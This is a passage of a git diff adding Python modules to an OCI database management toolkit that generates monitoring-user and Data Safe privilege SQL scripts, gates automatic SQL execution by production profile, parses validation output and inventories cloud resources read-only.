0o700) + details_file = _write_json(tmp_dir / "database-details.json", data_safe_database_details(target)) + conn_file = ( + _write_json(tmp_dir / "connection-option.json", _connection_option(target)) + if target.kind != "autonomous" + else None + ) + creds_file = _write_json(tmp_dir / "credentials.json", {"userName": user, "password": password}) + return self.oci.create_data_safe_target( + compartment_id=compartment, + display_name=target.name, + database_details_file=str(details_file), + connection_option_file=str(conn_file) if conn_file else None, + credentials_file=str(creds_file), + ) + finally: + # Best-effort secure cleanup: remove the credential file contents then + # the temp directory, so the plaintext password does not linger. + for child in tmp_dir.glob("*"): + try: + child.unlink() + except OSError: + pass + try: + tmp_dir.rmdir() + except OSError: + pass + + +def _with_pe(target: Target, pe_id: str) -> Target: + from dataclasses import replace + + return replace(target, data_safe_private_endpoint_id=pe_id) + + +def _write_json(path: Path, payload: dict[str, Any]) -> Path: + path.write_text(json.dumps(payload, indent=2), encoding="utf-8") + os.chmod(path, 0o600) + return path diff --git a/observability-and-management/assets/oci-dbman-opsi/src/dbman_opsi/db_check.py b/observability-and-management/assets/oci-dbman-opsi/src/dbman_opsi/db_check.py new file mode 100644 index 000000000..97157b7ec --- /dev/null +++ b/observability-and-management/assets/oci-dbman-opsi/src/dbman_opsi/db_check.py @@ -0,0 +1,71 @@ +"""Parse the spooled output of 04-validate-monitoring-user.sql. + +Lets `preflight` turn the otherwise-manual monitoring-user check into a real +pass/fail by ingesting what the DBA actually ran on the database side. The parser +is deliberately tolerant: it scans the spool text for the privilege tokens the +validation script selects, rather than depending on exact SQL*Plus formatting. +""" + +from __future__ import annotations + +from dataclasses import dataclass + +# Database Management Basic monitoring needs a usable session plus dictionary read. +_REQUIRED = ("CREATE SESSION",) +# Any one of these satisfies the dictionary-read requirement. +_ONE_OF = ("SELECT ANY DICTIONARY", "SELECT_CATALOG_ROLE") +_LOCKED_TOKENS = ("LOCKED", "EXPIRED") +_REQUIRED_HEADERS = ("USERNAME", "ACCOUNT_STATUS") +_STATUS_TOKENS = ("OPEN", "LOCKED", "EXPIRED") + + +class DbCheckParseError(ValueError): + """Raised when SQL*Plus validation output is not the expected spool.""" + + +@dataclass(frozen=True) +class DbUserCheck: + account_open: bool + found: tuple[str, ...] + missing: tuple[str, ...] + + @property + def ok(self) -> bool: + return self.account_open and not self.missing + + +def parse_validation_output(text: str) -> DbUserCheck: + upper = text.upper() + _validate_spool_shape(upper) + account_open = "OPEN" in upper and not any(token in upper for token in _LOCKED_TOKENS) + + found: list[str] = [token for token in _REQUIRED if token in upper] + missing: list[str] = [token for token in _REQUIRED if token not in upper] + + if any(token in upper for token in _ONE_OF): + found.append(next(token for token in _ONE_OF if token in upper)) + else: + missing.append(" or ".join(_ONE_OF)) + + return DbUserCheck(account_open=account_open, found=tuple(found), missing=tuple(missing)) + + +def _validate_spool_shape(upper: str) -> None: + if not all(header in upper for header in _REQUIRED_HEADERS): + raise DbCheckParseError("Malformed SQL*Plus validation spool: missing expected headers") + if not _has_account_status_row(upper): + raise DbCheckParseError("Malformed SQL*Plus validation spool: missing account status row") + + +def _has_account_status_row(upper: str) -> bool: + for line in upper.splitlines(): + tokens = line.split() + if not tokens or any(header in tokens for header in _REQUIRED_HEADERS): + continue + if any(_is_status_token(token) for token in tokens): + return True + return False + + +def _is_status_token(token: str) -> bool: + return token == "OPEN" or token.startswith(("LOCKED", "EXPIRED")) diff --git a/observability-and-management/assets/oci-dbman-opsi/src/dbman_opsi/db_exec.py b/observability-and-management/assets/oci-dbman-opsi/src/dbman_opsi/db_exec.py new file mode 100644 index 000000000..1d7eeb799 --- /dev/null +++ b/observability-and-management/assets/oci-dbman-opsi/src/dbman_opsi/db_exec.py @@ -0,0 +1,145 @@ +"""Hybrid DB-side script execution: auto-run in non-prod, hand off in prod. + +The toolkit generates DB-side SQL (monitoring user, grants, Performance Hub, +Data Safe) but does not run it by default. This module adds an opt-in executor +that *auto-runs* those scripts against the database in non-production tenancies +(e.g. the ``cap`` staging tenancy) while staying generate-and-handoff for +production (``emdemo``), where running SQL automatically is unsafe. + +The actual SQL transport (Bastion port-forward -> ssh -> sqlplus) is injected as +a ``sql_runner`` callback so the gating/orchestration is testable without a live +database, and so the proven manual Bastion procedure can be plugged in for real +runs. +""" + +from __future__ import annotations + +from collections.abc import Callable +from dataclasses import dataclass +from pathlib import Path +from typing import Any + +from dbman_opsi.config import EnablementConfig, Target +from dbman_opsi.db_scripts import DB_SCRIPT_TARGETS + +# Production tenancies where DB-side SQL must never be auto-executed; these always +# fall back to handoff. Keyed by OCI CLI profile name. +PROD_PROFILES = frozenset({"emdemo"}) + +# Runs a target's ordered SQL scripts and returns combined output. Raising is +# allowed and surfaces as a failed decision. +SqlRunner = Callable[[Target, "list[Path]"], str] + + +@dataclass(frozen=True) +class ExecDecision: + target: str + action: str # executed | handoff | skipped | failed + detail: str + scripts: tuple[str, ...] = () + + def to_dict(self) -> dict[str, Any]: + return {"target": self.target, "action": self.action, "detail": self.detail, "scripts": list(self.scripts)} + + +def is_production_profile(profile: str) -> bool: + return profile in PROD_PROFILES + + +def should_auto_execute(profile: str, force: bool = False) -> bool: + """Auto-exec in non-prod; in prod only when explicitly forced.""" + + if force: + return True + return not is_production_profile(profile) + + +# DB-side scripts in run order. 04 (validate) runs last so it confirms the grants. +SCRIPT_RUN_ORDER = ( + "01-create-monitoring-user.sql", + "02-grant-basic-monitoring.sql", + "03-grant-advanced-diagnostics.sql", + "05-enable-performance-hub.sql", + "06-enable-data-safe.sql", + "04-validate-monitoring-user.sql", +) + + +def ordered_scripts(target_dir: Path) -> list[Path]: + """Return the target's generated scripts in execution order (existing only).""" + + return [target_dir / name for name in SCRIPT_RUN_ORDER if (target_dir / name).exists()] + + +def _slug(name: str) -> str: + return name.replace(" ", "-").lower() + + +class DbExecService: + def __init__(self, sql_runner: SqlRunner | None = None) -> None: + self.sql_runner = sql_runner + + def plan(self, config: EnablementConfig, force: bool = False) -> list[ExecDecision]: + """Decide per target whether DB-side scripts auto-run or hand off.""" + + auto = should_auto_execute(config.profile, force=force) + decisions: list[ExecDecision] = [] + for target in config.targets: + if target.kind not in DB_SCRIPT_TARGETS: + decisions.append(ExecDecision(target.name, "skipped", f"kind {target.kind} has no DB-side scripts")) + continue + if auto: + decisions.append(ExecDecision( + target.name, "executed", + f"non-production profile '{config.profile}': scripts will auto-run via Bastion", + )) + else: + decisions.append(ExecDecision( + target.name, "handoff", + f"production profile '{config.profile}': generate-and-handoff (no auto-exec)", + )) + return decisions + + def execute( + self, + config: EnablementConfig, + scripts_dir: str | Path, + force: bool = False, + ) -> list[ExecDecision]: + """Auto-run DB-side scripts for non-prod targets via the injected runner. + + Production targets return a ``handoff`` decision and are left untouched. + A runner that raises yields a ``failed`` decision so one bad target does + not abort the others. + """ + + base = Path(scripts_dir) + if should_auto_execute(config.profile, force=force) and self.sql_runner is None: + raise ValueError("auto-execute requires a sql_runner; none provided") + results: list[ExecDecision] = [] + for target in config.targets: + if target.kind not in DB_SCRIPT_TARGETS: + results.append(ExecDecision(target.name, "skipped", f"kind {target.kind} has no DB-side scripts")) + continue + if not should_auto_execute(config.profile, force=force): + results.append(ExecDecision( + target.name, "handoff", + f"production profile '{config.profile}': run the handoff packet manually", + )) + continue + target_dir = base / _slug(target.name) + scripts = ordered_scripts(target_dir) + if not scripts: + results.append(ExecDecision(target.name, "skipped", f"no generated scripts in {target_dir}")) + continue + try: + assert self.sql_runner is not None # guarded above + self.sql_runner(target, scripts) + except Exception as exc: # noqa: BLE001 - surface as a failed decision, keep going + results.append(ExecDecision(target.name, "failed", str(exc), tuple(p.name for p in scripts))) + continue + results.append(ExecDecision( + target.name, "executed", f"ran {len(scripts)} scripts via Bastion", + tuple(p.name for p in scripts), + )) + return results diff --git a/observability-and-management/assets/oci-dbman-opsi/src/dbman_opsi/db_scripts.py b/observability-and-management/assets/oci-dbman-opsi/src/dbman_opsi/db_scripts.py new file mode 100644 index 000000000..f8fdcc592 --- /dev/null +++ b/observability-and-management/assets/oci-dbman-opsi/src/dbman_opsi/db_scripts.py @@ -0,0 +1,331 @@ +"""Database-side SQL script generation for cloud and Exadata targets.""" + +from __future__ import annotations + +from pathlib import Path + +from dbman_opsi.config import EnablementConfig, Target + +DB_SCRIPT_TARGETS = {"dbcs", "exadata", "external-db", "external-exadata"} + + +def _sql_header(target: Target) -> str: + return f"""-- Generated by dbman-opsi for target: {target.name} +-- Run as SYSDBA or an account allowed to create users and grant catalog privileges. +-- Passwords are prompted interactively and are not stored in generated files. +set echo on +set verify off +set serveroutput on +whenever sqlerror exit sql.sqlcode +""" + + +def _container_block(target: Target) -> str: + default_service = target.service_name or "ORCLPDB1" + return f""" +prompt Enter target PDB/container name. Use the target service name if unsure. +accept pdb_name char default '{default_service}' prompt 'PDB/container [{default_service}]: ' + +declare + l_con_id number; +begin + select con_id into l_con_id from v$containers where name = upper('&pdb_name'); + execute immediate 'alter session set container = ' || dbms_assert.simple_sql_name(upper('&pdb_name')); + dbms_output.put_line('Switched to container ' || upper('&pdb_name') || ' (CON_ID=' || l_con_id || ')'); +exception + when no_data_found then + dbms_output.put_line('Container ' || upper('&pdb_name') || ' not found; continuing in current container.'); +end; +/ +""" + + +def monitoring_user_sql(target: Target) -> str: + user = target.monitoring_user or "DBSNMP" + return _sql_header(target) + _container_block(target) + f""" +accept monitoring_user char default '{user}' prompt 'Monitoring user [{user}]: ' +accept monitoring_password char hide prompt 'Monitoring user password: ' + +declare + l_count number; +begin + select count(*) into l_count from dba_users where username = upper('&monitoring_user'); + if l_count = 0 then + execute immediate 'create user ' || dbms_assert.simple_sql_name(upper('&monitoring_user')) || + ' identified by "' || replace('&monitoring_password', '"', '""') || '" account unlock'; + dbms_output.put_line('Created monitoring user ' || upper('&monitoring_user')); + else + execute immediate 'alter user ' || dbms_assert.simple_sql_name(upper('&monitoring_user')) || + ' identified by "' || replace('&monitoring_password', '"', '""') || '" account unlock'; + dbms_output.put_line('Updated and unlocked monitoring user ' || upper('&monitoring_user')); + end if; +end; +/ +""" + + +def basic_grants_sql(target: Target) -> str: + user = target.monitoring_user or "DBSNMP" + return _sql_header(target) + _container_block(target) + f""" +accept monitoring_user char default '{user}' prompt 'Monitoring user [{user}]: ' + +grant create session to &monitoring_user; +grant select any dictionary to &monitoring_user; +grant select_catalog_role to &monitoring_user; + +-- Public OCI Ops Insights prerequisite for cloud databases: +-- SELECT ANY DICTIONARY and SELECT_CATALOG_ROLE granted to the monitoring user. +-- Database Management uses the Basic monitoring credential for users such as DBSNMP. +""" + + +def advanced_grants_sql(target: Target) -> str: + user = target.monitoring_user or "DBSNMP" + return _sql_header(target) + _container_block(target) + f""" +accept monitoring_user char default '{user}' prompt 'Advanced diagnostics user [{user}]: ' + +grant analyze any to &monitoring_user; +grant analyze any dictionary to &monitoring_user; +grant execute on sys.dbms_monitor to &monitoring_user; +grant read on sys.audit_actions to &monitoring_user; +grant read on sys.v_$session to &monitoring_user; +grant read on sys.gv_$session to &monitoring_user; +grant select on sys.v_$parameter to &monitoring_user; +grant select on sys.v_$spparameter to &monitoring_user; +grant select on sys.v_$system_parameter to &monitoring_user; +grant select on sys.v_$system_parameter2 to &monitoring_user; +grant select on sys.gv_$instance to &monitoring_user; +grant select on sys.v_$rman_backup_job_details to &monitoring_user; +grant select on sys.v_$flashback_database_log to &monitoring_user; + +-- Performance Hub privileges (AWR, ADDM, ASH Analytics, SQL Tuning, Real-Time +-- SQL Monitoring). The OCI Console prompt "Performance Hub requires granting of +-- appropriate user privileges" maps to exactly this set for the monitoring user. +-- These exercise the Diagnostics and/or Tuning Pack — review licensing first. +grant create procedure to &monitoring_user; +grant select any dictionary to &monitoring_user; +grant select_catalog_role to &monitoring_user; +grant alter system to &monitoring_user; +grant advisor to &monitoring_user; +grant execute on sys.dbms_workload_repository to &monitoring_user; + +-- SQL Tuning Set support. Without this, creating a SQL Tuning Set from Performance +-- Hub fails with ORA-13750 ("has not been granted the ADMINISTER SQL TUNING SET +-- privilege"). ADMINISTER ANY SQL TUNING SET allows cross-schema tuning sets. +grant administer sql tuning set to &monitoring_user; +grant administer any sql tuning set to &monitoring_user; + +-- Optional advanced diagnostics grants. Review against your licensing and security policy. +-- For complete minimum and advanced Database Management credential scripts, +-- Oracle documents MOS KB57458 and KB84103 as the authoritative sources. +""" + + +def performance_hub_sql(target: Target) -> str: + """Enable AWR snapshot collection so ADDM Spotlight / AWR Explorer have data. + + In a CDB, automatic AWR snapshots run at the **root** only by default, so a + PDB's ADDM Spotlight shows "no ADDM analysis details" and AWR Explorer reports + "No AWR snapshots were found for this PDB". `AWR_PDB_AUTOFLUSH_ENABLED=TRUE` + turns on per-PDB AWR autoflush; the PDB also needs a non-zero snapshot + interval. Run this for the CDB (sets the instance master switch at root) and + for each PDB target (enables + sets the PDB snapshot interval and seeds a + first snapshot). Auto-ADDM then runs per snapshot. + """ + + is_pdb = target.database_role == "PDB" + body = _sql_header(target) + _container_block(target) + """ +prompt Enabling AWR PDB autoflush so Performance Hub ADDM/AWR collect data. +alter system set awr_pdb_autoflush_enabled = true scope = both; +""" + if is_pdb: + body += """ +-- PDB-level AWR snapshot interval (60 min) and retention (8 days). Without a +-- non-zero interval the PDB never autoflushes and ADDM/AWR stay empty. +begin + dbms_workload_repository.modify_snapshot_settings(interval => 60, retention => 11520); +end; +/ + +-- Seed an initial PDB AWR snapshot; the next one follows on the autoflush +-- interval, after which ADDM has a snapshot pair to analyze. +declare + l_snap number; +begin + l_snap := dbms_workload_repository.create_snapshot; + dbms_output.put_line('Created initial PDB AWR snapshot: ' || l_snap); +end; +/ +""" + body += """ +-- Verify (run again later to confirm snapshots accrue on the interval): +column name format a30 +select count(*) as awr_snapshots +from dba_hist_snapshot +where dbid = sys_context('USERENV', 'CON_DBID'); +""" + return body + + +def data_safe_privileges_sql(target: Target) -> str: + """Create/reuse the Data Safe service account and grant baseline privileges. + + Data Safe target registration needs a database service account it connects as. + Oracle's Console generates a parameterized ``dscs_privileges.sql`` covering all + features; this script provides a self-contained, auditable baseline for the + read-mostly features (Security Assessment, User Assessment, Activity Auditing) + and points to the Console script for Data Masking / Data Discovery, which need + write access to application schemas and are target-specific. + + For the POC the default service account is the existing monitoring user + (DBSNMP) so there is a single account; production should use a dedicated user. + """ + + user = target.monitoring_user or "DBSNMP" + return _sql_header(target) + _container_block(target) + f""" +accept ds_user char default '{user}' prompt 'Data Safe service account [{user}]: ' +accept ds_password char hide prompt 'Data Safe service account password (blank to keep existing): ' + +-- Create the account if missing; otherwise leave the existing password in place +-- when none is entered (so reusing DBSNMP does not reset its password). +declare + l_count number; +begin + select count(*) into l_count from dba_users where username = upper('&ds_user'); + if l_count = 0 then + execute immediate 'create user ' || dbms_assert.simple_sql_name(upper('&ds_user')) || + ' identified by "' || replace('&ds_password', '"', '""') || '" account unlock'; + dbms_output.put_line('Created Data Safe service account ' || upper('&ds_user')); + elsif length('&ds_password') > 0 then + execute immediate 'alter user ' || dbms_assert.simple_sql_name(upper('&ds_user')) || + ' identified by "' || replace('&ds_password', '"', '""') || '" account unlock'; + dbms_output.put_line('Updated/unlocked Data Safe service account ' || upper('&ds_user')); + else + dbms_output.put_line('Reusing existing account ' || upper('&ds_user')); + end if; +end; +/ + +-- Baseline: connect + read the data dictionary (Security & User Assessment read +-- DBA_USERS, DBA_ROLE_PRIVS, DBA_SYS_PRIVS, init parameters, etc.). +grant create session to &ds_user; +grant select_catalog_role to &ds_user; +grant select any dictionary to &ds_user; + +-- Activity Auditing: read and manage unified audit policies. AUDIT_VIEWER reads +-- the audit trail; AUDIT_ADMIN lets Data Safe provision/manage audit policies on +-- the target. Both are Oracle-supplied roles (12.2+). +grant audit_viewer to &ds_user; +grant audit_admin to &ds_user; + +-- NOTE: Data Masking and Data Discovery require additional, schema-specific +-- privileges (read/write on the application schemas being discovered/masked). +-- Download the per-target privilege script from the OCI Console +-- (Data Safe > Target databases > Register > "Download Privilege Script") and +-- run it for those features. +""" + + +def validation_sql(target: Target) -> str: + user = target.monitoring_user or "DBSNMP" + return _sql_header(target) + _container_block(target) + f""" +accept monitoring_user char default '{user}' prompt 'Monitoring user [{user}]: ' + +column username format a30 +column account_status format a30 +select username, account_status, lock_date, expiry_date +from dba_users +where username = upper('&monitoring_user'); + +select privilege +from dba_sys_privs +where grantee = upper('&monitoring_user') + and privilege in ( + 'CREATE SESSION', 'SELECT ANY DICTIONARY', 'ANALYZE ANY', 'ANALYZE ANY DICTIONARY', + -- Performance Hub system privileges: + 'CREATE PROCEDURE', 'ALTER SYSTEM', 'ADVISOR') +order by privilege; + +select granted_role +from dba_role_privs +where grantee = upper('&monitoring_user') + and granted_role = 'SELECT_CATALOG_ROLE'; + +select owner, table_name, privilege +from dba_tab_privs +where grantee = upper('&monitoring_user') + and owner = 'SYS' + and table_name in ( + 'DBMS_MONITOR', 'AUDIT_ACTIONS', 'V_$SESSION', 'GV_$SESSION', + -- Performance Hub object privilege: + 'DBMS_WORKLOAD_REPOSITORY') +order by table_name, privilege; +""" + + +def readme_text(target: Target, config: EnablementConfig) -> str: + data_safe_step = ( + "\n6. Optional: `06-enable-data-safe.sql` (Data Safe service account + baseline" + " Security/User Assessment and Auditing privileges)" + if target.wants("datasafe") + else "" + ) + data_safe_run = ( + "sqlplus / as sysdba @06-enable-data-safe.sql\n" if target.wants("datasafe") else "" + ) + return f"""# Database SQL scripts for {target.name} + +Target kind: {target.kind} +Region: {config.region} +Pillars: {', '.join(target.services)} + +Run order: + +1. `01-create-monitoring-user.sql` +2. `02-grant-basic-monitoring.sql` +3. `03-grant-advanced-diagnostics.sql` (Performance Hub + SQL Tuning Set privileges) +4. `05-enable-performance-hub.sql` (AWR autoflush so ADDM Spotlight / AWR Explorer + collect data — required for PDB-level ADDM/AWR; run for the CDB and each PDB) +5. `04-validate-monitoring-user.sql`{data_safe_step} + +Run from SQL*Plus or SQLcl as SYSDBA or an equivalent administrative account: + +```sql +sqlplus / as sysdba @01-create-monitoring-user.sql +sqlplus / as sysdba @02-grant-basic-monitoring.sql +sqlplus / as sysdba @03-grant-advanced-diagnostics.sql +sqlplus / as sysdba @05-enable-performance-hub.sql +sqlplus / as sysdba @04-validate-monitoring-user.sql +{data_safe_run}``` + +For DBCS and Exadata PDB targets, enter the PDB/container name that matches the service configured in `dbman-opsi`. +The generated scripts do not contain plaintext passwords. +""" + + +def generate_db_scripts(config: EnablementConfig, output_dir: str | Path) -> list[Path]: + base_dir = Path(output_dir) + base_dir.mkdir(parents=True, exist_ok=True) + paths: list[Path] = [] + for target in config.targets: + if target.kind not in DB_SCRIPT_TARGETS: + continue + target_dir = base_dir / target.name.replace(" ", "-").lower() + target_dir.mkdir(parents=True, exist_ok=True) + files = { + "README.md": readme_text(target, config), + "01-create-monitoring-user.sql": monitoring_user_sql(target), + "02-grant-basic-monitoring.sql": basic_grants_sql(target), + "03-grant-advanced-diagnostics.sql": advanced_grants_sql(target), + "04-validate-monitoring-user.sql": validation_sql(target), + "05-enable-performance-hub.sql": performance_hub_sql(target), + } + # Data Safe DB-side privileges only when the target opts into the security + # pillar (services defaults to DBM + OPSI, so this is opt-in). + if target.wants("datasafe"): + files["06-enable-data-safe.sql"] = data_safe_privileges_sql(target) + for filename, content in files.items(): + path = target_dir / filename + path.write_text(content, encoding="utf-8") + paths.append(path) + return paths diff --git a/observability-and-management/assets/oci-dbman-opsi/src/dbman_opsi/discovery.py b/observability-and-management/assets/oci-dbman-opsi/src/dbman_opsi/discovery.py new file mode 100644 index 000000000..1b49a6dd9 --- /dev/null +++ b/observability-and-management/assets/oci-dbman-opsi/src/dbman_opsi/discovery.py @@ -0,0 +1,391 @@ +"""Read-only inventory of resources reusable for enablement. + +Answers "what already exists that I can reuse?" before provisioning anything: +subnets (and whether they can reach OCI services), vaults and keys, databases +(CDB and PDB), autonomous databases, existing private endpoints, Management +Agents, and bastions. +""" + +from __future__ import annotations + +import concurrent.futures +from collections.abc import Iterable +from dataclasses import dataclass, field +from typing import Any, Callable, TypeVar + +from dbman_opsi.conn import service_name_from_record +from dbman_opsi.oci_cli import OciCli +from dbman_opsi.oci_util import safe_lookup +from dbman_opsi.status import data_safe_status, dbm_status, opsi_insight_status + +_T = TypeVar("_T") +_R = TypeVar("_R") + +# Default fan-out for compartment discovery. Each compartment is ~10 independent +# read calls (each a cold `oci` subprocess), so on a many-compartment tenancy the +# serial cost is O(compartments) minutes. OciCli is stateless (every call spawns +# its own process), so compartments parallelize safely. +_DEFAULT_MAX_WORKERS = 8 + + +def _parallel_map(func: Callable[[_T], _R], items: Iterable[_T], max_workers: int) -> list[_R]: + """Order-preserving parallel map; serial for trivial inputs. + + Parallelism is applied at the compartment level only — deliberately *not* + nested into per-compartment calls, because nested submission to a second + ThreadPoolExecutor can deadlock when outer worker threads block on inner + results. ``executor.map`` preserves input order, so results are deterministic. + """ + + materialized = list(items) + if max_workers <= 1 or len(materialized) <= 1: + return [func(item) for item in materialized] + workers = min(max_workers, len(materialized)) + with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as executor: + return list(executor.map(func, materialized)) + + +def _safe(call: Callable[[], Any], default: Any, attempts: int = 2) -> Any: + """Run a read-only lookup, retrying once to ride out transient OCI 404/5xx blips.""" + + return safe_lookup(call, default, attempts=attempts) + + +@dataclass(frozen=True) +class SubnetInfo: + id: str + name: str + vcn_id: str + private: bool + has_service_gateway: bool + + def to_dict(self) -> dict[str, Any]: + return { + "id": self.id, + "name": self.name, + "vcn_id": self.vcn_id, + "private": self.private, + "has_service_gateway": self.has_service_gateway, + } + + +@dataclass(frozen=True) +class VaultInfo: + id: str + name: str + management_endpoint: str + keys: tuple[tuple[str, str], ...] = () + + def to_dict(self) -> dict[str, Any]: + return { + "id": self.id, + "name": self.name, + "management_endpoint": self.management_endpoint, + "keys": [{"id": key_id, "name": key_name} for key_id, key_name in self.keys], + } + + +@dataclass(frozen=True) +class DatabaseInfo: + id: str + name: str + role: str + state: str + dbm_status: str + opsi_status: str = "NOT_ENABLED" + data_safe_status: str = "NOT_ENABLED" + + @property + def enabled_services(self) -> tuple[str, ...]: + """Pillars already on for this DB ('dbm', 'opsi', 'datasafe').""" + + from dbman_opsi.status import is_enabled + + result: list[str] = [] + if is_enabled(self.dbm_status): + result.append("dbm") + if str(self.opsi_status).upper() == "ENABLED": + result.append("opsi") + if str(self.data_safe_status).upper() == "ENABLED": + result.append("datasafe") + return tuple(result) + + @property + def missing_services(self) -> tuple[str, ...]: + return tuple(s for s in ("dbm", "opsi", "datasafe") if s not in self.enabled_services) + + def to_dict(self) -> dict[str, Any]: + return { + "id": self.id, + "name": self.name, + "role": self.role, + "state": self.state, + "dbm_status": self.dbm_status, + "opsi_status": self.opsi_status, + "data_safe_status": self.data_safe_status, + "enabled_services": list(self.enabled_services), + "missing_services": list(self.missing_services), + } + + +@dataclass(frozen=True) +class CompartmentInventory: + name: str + id: str + subnets: tuple[SubnetInfo, ...] = () + vaults: tuple[VaultInfo, ...] = () + databases: tuple[DatabaseInfo, ...] = () + autonomous: tuple[DatabaseInfo, ...] = () + dbm_private_endpoints: tuple[dict[str, Any], ...] = () + opsi_private_endpoints: tuple[dict[str, Any], ...] = () + data_safe_private_endpoints: tuple[dict[str, Any], ...] = () + management_agents: tuple[str, ...] = () + bastions: tuple[str, ...] = () + + @property + def is_empty(self) -> bool: + return not any( + (self.subnets, self.vaults, self.databases, self.autonomous, + self.dbm_private_endpoints, self.opsi_private_endpoints, + self.data_safe_private_endpoints, + self.management_agents, self.bastions) + ) + + def to_dict(self) -> dict[str, Any]: + return { + "name": self.name, + "id": self.id, + "subnets": [item.to_dict() for item in self.subnets], + "vaults": [item.to_dict() for item in self.vaults], + "databases": [item.to_dict() for item in self.databases], + "autonomous": [item.to_dict() for item in self.autonomous], + "dbm_private_endpoints": [pe.get("name") or pe.get("display-name") for pe in self.dbm_private_endpoints], + "opsi_private_endpoints": [pe.get("display-name") for pe in self.opsi_private_endpoints], + "data_safe_private_endpoints": [pe.get("display-name") for pe in self.data_safe_private_endpoints], + "management_agents": list(self.management_agents), + "bastions": list(self.bastions), + } + + +@dataclass(frozen=True) +class Inventory: + compartments: tuple[CompartmentInventory, ...] = field(default_factory=tuple) + + def to_dict(self) -> dict[str, Any]: + return {"compartments": [c.to_dict() for c in self.compartments if not c.is_empty]} + + +class DiscoveryService: + def __init__(self, oci: OciCli, max_workers: int = _DEFAULT_MAX_WORKERS) -> None: + self.oci = oci + self.max_workers = max_workers + + def discover(self, compartments: list[dict[str, Any]]) -> Inventory: + # Compartments are independent and OciCli is stateless, so fan out across + # them; _parallel_map preserves order and is a no-op for a single one. + data_safe_targets = self._data_safe_targets_by_compartment(compartments) + results = _parallel_map( + lambda compartment: self._compartment( + compartment, + data_safe_targets.get(str(compartment.get("id")), []), + ), + compartments, + self.max_workers, + ) + return Inventory(compartments=tuple(results)) + + def _compartment( + self, + compartment: dict[str, Any], + data_safe_targets: list[dict[str, Any]] | None = None, + ) -> CompartmentInventory: + cid = str(compartment.get("id")) + # Pre-fetch the standalone OPSI insight and Data Safe target collections + # once, then join them back to each DB by OCID (avoids an N+1 lookup per + # database). Best-effort: an empty read just yields NOT_ENABLED statuses. + insights = _safe(lambda: self.oci.list_opsi_database_insights(cid), []) + targets = data_safe_targets if data_safe_targets is not None else self._data_safe_targets_enriched(cid) + return CompartmentInventory( + name=str(compartment.get("name", "")), + id=cid, + subnets=self._subnets(cid), + vaults=self._vaults(cid), + databases=self._databases(cid, insights, targets), + autonomous=self._autonomous(cid, insights, targets), + dbm_private_endpoints=tuple(_safe(lambda: self.oci.list_db_management_private_endpoints(cid), [])), + opsi_private_endpoints=tuple(_safe(lambda: self.oci.list_opsi_private_endpoints(cid), [])), + data_safe_private_endpoints=tuple(_safe(lambda: self.oci.list_data_safe_private_endpoints(cid), [])), + management_agents=tuple( + str(a.get("display-name", "")) for a in _safe(lambda: self.oci.list_management_agents(cid), []) + ), + bastions=tuple(str(b.get("name", "")) for b in _safe(lambda: self.oci.list_bastions(cid), [])), + ) + + def _subnets(self, cid: str) -> tuple[SubnetInfo, ...]: + vcns = _safe(lambda: self.oci.list_vcns(cid), []) + vcns_with_sgw = { + str(vcn.get("id")) + for vcn in vcns + if any( + str(gw.get("lifecycle-state", "")).upper() == "AVAILABLE" + for gw in _safe(lambda v=vcn: self.oci.list_service_gateways(cid, str(v.get("id"))), []) + ) + } + subnets: list[SubnetInfo] = [] + for vcn in vcns: + vcn_id = str(vcn.get("id")) + for subnet in _safe(lambda v=vcn_id: self.oci.list_subnets(cid, v), []): + subnets.append( + SubnetInfo( + id=str(subnet.get("id")), + name=str(subnet.get("display-name", "")), + vcn_id=vcn_id, + private=bool(subnet.get("prohibit-public-ip-on-vnic")), + has_service_gateway=vcn_id in vcns_with_sgw, + ) + ) + return tuple(subnets) + + def _vaults(self, cid: str) -> tuple[VaultInfo, ...]: + vaults: list[VaultInfo] = [] + for vault in _safe(lambda: self.oci.list_vaults(cid), []): + if str(vault.get("lifecycle-state", "")).upper() != "ACTIVE": + continue + endpoint = str(vault.get("management-endpoint", "")) + keys = _safe(lambda: self.oci.list_keys(cid, endpoint), []) if endpoint else [] + vaults.append( + VaultInfo( + id=str(vault.get("id")), + name=str(vault.get("display-name", "")), + management_endpoint=endpoint, + keys=tuple((str(k.get("id")), str(k.get("display-name", ""))) for k in keys), + ) + ) + return tuple(vaults) + + def _data_safe_targets_enriched(self, cid: str) -> list[dict[str, Any]]: + """List Data Safe targets, enriching each with GET database-details. + + The ``target-database list`` summary has ``database-details = null``; the + service-name needed to attribute a Base DB target to a specific PDB (vs + the CDB root) only appears on GET. Best-effort: a failed GET leaves the + summary as-is (callers fall back to the coarse DB-system match). + """ + + targets = _safe(lambda: self.oci.list_data_safe_targets(cid), []) + return self._enrich_data_safe_target_batches(((cid, tuple(targets)),)).get(cid, []) + + def _data_safe_targets_by_compartment( + self, + compartments: list[dict[str, Any]], + ) -> dict[str, list[dict[str, Any]]]: + batches = tuple( + ( + str(compartment.get("id")), + tuple(_safe(lambda cid=str(compartment.get("id")): self.oci.list_data_safe_targets(cid), [])), + ) + for compartment in compartments + ) + return self._enrich_data_safe_target_batches(batches) + + def _enrich_data_safe_target_batches( + self, + batches: tuple[tuple[str, tuple[dict[str, Any], ...]], ...], + ) -> dict[str, list[dict[str, Any]]]: + jobs = tuple( + (cid, index, target) + for cid, targets in batches + for index, target in enumerate(targets) + ) + if not jobs: + return {cid: [] for cid, _targets in batches} + if self.max_workers <= 1 or len(jobs) <= 1: + results = { + (cid, index): self._data_safe_target_enriched(target) + for cid, index, target in jobs + } + else: + results = self._parallel_data_safe_gets(jobs) + return { + cid: [results[(cid, index)] for index in range(len(targets))] + for cid, targets in batches + } + + def _parallel_data_safe_gets( + self, + jobs: tuple[tuple[str, int, dict[str, Any]], ...], + ) -> dict[tuple[str, int], dict[str, Any]]: + workers = min(self.max_workers, len(jobs)) + with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as executor: + future_to_key = { + executor.submit(self._data_safe_target_enriched, target): (cid, index) + for cid, index, target in jobs + } + pairs = tuple( + (future_to_key[future], future.result()) + for future in concurrent.futures.as_completed(future_to_key) + ) + return dict(pairs) + + def _data_safe_target_enriched(self, target: dict[str, Any]) -> dict[str, Any]: + target_id = str(target.get("id")) + full = _safe(lambda tid=target_id: self.oci.get_data_safe_target(tid), {}) + if isinstance(full, dict) and full.get("database-details"): + return {**target, "database-details": full.get("database-details")} + return target + + _service_name = staticmethod(service_name_from_record) + + def _databases( + self, + cid: str, + insights: list[dict[str, Any]], + data_safe_targets: list[dict[str, Any]], + ) -> tuple[DatabaseInfo, ...]: + databases: list[DatabaseInfo] = [] + for system in _safe(lambda: 